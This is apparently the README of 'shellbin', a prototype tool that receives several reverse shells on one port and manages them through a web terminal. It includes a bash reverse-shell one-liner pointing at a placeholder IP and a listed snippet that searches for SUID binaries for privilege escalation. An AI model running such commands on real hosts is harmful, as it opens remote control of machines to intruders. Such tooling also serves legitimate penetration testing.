Elegantly receive reverse shell.
Receive multiple reverse shells on one port, and manage them in a web UI.
With the usage of xterm.js, complex commands like vi, tmux and Ctrl-C works ( you may need to gain pty, and set correct stty size. )
Recommended to use the docker image from dockerhub.
docker run -d --name shellbin -p 9998:3000 -p 9999:3001 -e USERNAME=root -e PASSWORD=toor cwithw/shellbin:latest
Change the value of USERNAME
and PASSWORD
to your own username and password.
You may also change 9998
(web UI port) and 9999
(reverse shell port) to your own port.
then visit http://your-ip:9998
to see the web UI.
receive reverse shells on port 9999 (bash -i >& /dev/tcp/your-ip/9999 0>&1
).
make backend-environment
make frontend-environment
make docker
make build-docker-image
This app is in prototype stage, it is generally secure, but not performant optimized, and the UI is not pretty,
pull requests are welcome.
- web UI with list of connected shells and using xterm.js to display colored shell
- authentication required for web UI
- receive reverse shell
- automatically remove dead connections
- fancy web UI
- resize terminal and send terminal event (currently you need to do
stty
command) - snippets ( eg.
find / -perm 4000 2>/dev/null
) - API for reverse shell